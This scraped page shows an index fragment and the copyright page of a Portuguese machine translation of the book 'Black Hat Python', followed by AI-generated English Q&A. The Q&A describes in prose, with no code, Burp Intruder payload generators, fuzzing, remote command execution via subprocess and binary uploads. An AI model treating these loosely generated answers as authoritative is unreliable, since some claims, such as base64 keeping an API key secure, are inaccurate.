WingIDE, WingIDE, WingIDE, WingIDE, WingIDE
Machine Translated by Google
acessando, WingIDE

correção de dependências ausentes, discussão

geral do WingIDE , instalação do Kali Linux , inspeção

e modificação de variáveis locais, WingIDE, WingIDE

instalando, WingIDE

abrindo arquivo Python em branco, pontos de

interrupção de configuração WingIDE , script de

configuração WingIDE para depuração, WingIDE, WingIDE

visualização de rastreamento de pilha, WingIDE, WingIDE

função wordlist_menu, transformando o conteúdo do site em senha de ouro

Wuergler, Mark, Criando um monitor de processo


Machine Translated by Google
Black Hat Python: Programação Python para Hackers e Pentesters
Justin Seitz
Direitos autorais © 2014
PITÃO DO CHAPÉU PRETO.

Todos os direitos reservados. Nenhuma parte deste trabalho pode ser reproduzida ou transmitida de qualquer forma ou por qualquer meio, eletrônico ou mecânico,
incluindo fotocópia, gravação ou por qualquer sistema de armazenamento ou recuperação de informações, sem a permissão prévia por escrito do proprietário dos direitos
autorais e do editor.

18 17 16 15 14 123456789

ISBN-10: 1-59327-590-0

ISBN-13: 978-1-59327-590-7

Editora: Willian Pollock

Editor de Produção: Serena Yang


Ilustração da capa: Garry Booth
Design de Interiores: Octopod Studios
Editor de Desenvolvimento: Tyler Ortman
Revisores técnicos: Dan Frisch e Cliff Janzen

Editor de texto: Gillian McGarvey


Compositor: Lynn L'Heureux
Revisor: James Fraleigh
Indexador: serviços de indexação e revisão BIM

Para obter informações sobre distribuição, traduções ou vendas em massa, entre em contato diretamente com a No Starch Press, Inc.:

No Starch Press, Inc.

245 8th Street, São Francisco, CA 94103

telefone: 415.863.9900; [email protected]

www.nostarch.com
Número de controle da Biblioteca do Congresso: 2014953241

No Starch Press e o logotipo No Starch Press são marcas registradas da No Starch Press, Inc. Outros nomes de produtos e empresas aqui mencionados podem ser
marcas comerciais de seus respectivos proprietários. Em vez de usar um símbolo de marca registrada com todas as ocorrências de um nome de marca registrada,
estamos usando os nomes apenas de forma editorial e para benefício do proprietário da marca registrada, sem intenção de infringir a marca registrada.

As informações contidas neste livro são distribuídas “como estão”, sem garantia. Embora todas as precauções tenham sido tomadas na preparação deste
trabalho, nem o autor nem a No Starch Press, Inc. terão qualquer responsabilidade perante qualquer pessoa ou entidade com relação a qualquer perda ou dano causado
ou supostamente causado direta ou indiretamente pelo informações nele contidas.

Imprensa sem amido

2014-11-26T08:31:28-08:00

Common questions

Com tecnologia de IA

The 'BurpExtender' class in the provided context is used to extend Burp's functionality by creating a custom payload generator. It primarily serves two functions: 'getGeneratorName', which is called by Burp to retrieve the name of the payload generator, and 'createNewInstance', which returns a new instance of an 'IIntruderPayloadGenerator'. This setup allows the Intruder tool to integrate and utilize custom payloads for penetration testing purposes .

Base64 encoding is essential for safely transmitting binary or sensitive data as text over HTTP in API communications. It ensures that binary data remains intact during transport, avoiding corruption due to incompatible text encoding systems. In the example provided, base64 is used for encoding the API key for the Bing request, allowing it to be included in the HTTP authorization header securely .

A custom payload generator enhances security testing in Burp Suite by allowing the creation of tailored payloads that can target specific application vulnerabilities. This flexibility supports advanced fuzzing techniques and increases the effectiveness of penetration tests by accommodating unique scenarios that standard payloads might miss. The integration of a custom generator also aids in automating repetitive testing tasks, saving time and resources while improving test accuracy .

Exception handling in the subprocess command execution is critical for managing errors that occur when executing commands. It captures generic errors, prevents the application from crashing, and provides feedback by returning a message indicating that the command execution failed. This ensures robustness in network tools that rely on executing system commands from a remote client .

The use of subprocesses in networking tools facilitates command execution by providing a high-level interface to interact with system commands and programs. This is crucial for executing local OS commands within network scripts or tools, enabling dynamic interaction with the system. A subprocess can execute a command, capture its output, and relay the information to a network client, enhancing the capabilities and interactivity of network management applications .

Resetting the payload generator in the 'IIntruderPayloadGenerator' interface is essential because it allows the generator to return to its initial state and provide the same sequence of payloads. This is particularly useful in replay attacks or iterative testing scenarios where reproducing the same conditions is necessary for effective analysis and debugging of security vulnerabilities .

The 'mutate_payload' function is crucial in fuzzing because it introduces controlled variations into the original payload, simulating potential attack vectors. By modifying payloads in unpredictable ways, it tests how well an application can handle unexpected or malformed input, thereby identifying weaknesses or bugs that could be exploited by an attacker. The function's ability to choose from various mutation strategies further enhances the diversity and thoroughness of security tests .

When storing sensitive information in public repositories, it's crucial to employ methods such as encryption to prevent unauthorized access. The risk of exposing credentials or sensitive data is high, as anything committed to a public repository can be accessed by anyone. This is demonstrated in the provided example, where storing unencrypted configuration files to GitHub poses a security risk, and employing encryption techniques as explored would help mitigate this risk .

API usage in Burp Suite enhances reconnaissance tasks by enabling extensions to interact with external services, such as web APIs, to gather additional information. For instance, integrating Bing's search API allows the tool to automatically search and include additional domains within the target's scope. This provides a broader view of the target's attack surface, improving the quality and depth of reconnaissance conducted during an assessment .

The code handles binary file uploading by using a 'file_descriptor' to open a file in 'wb' (write binary) mode, which allows for raw binary data to be correctly written to the file system. This is crucial for ensuring that binary executables are uploaded and written without corruption. The use of a loop to receive data ensures all parts of the file are captured before writing, minimizing the risk of data loss during transfer .

Você também pode gostar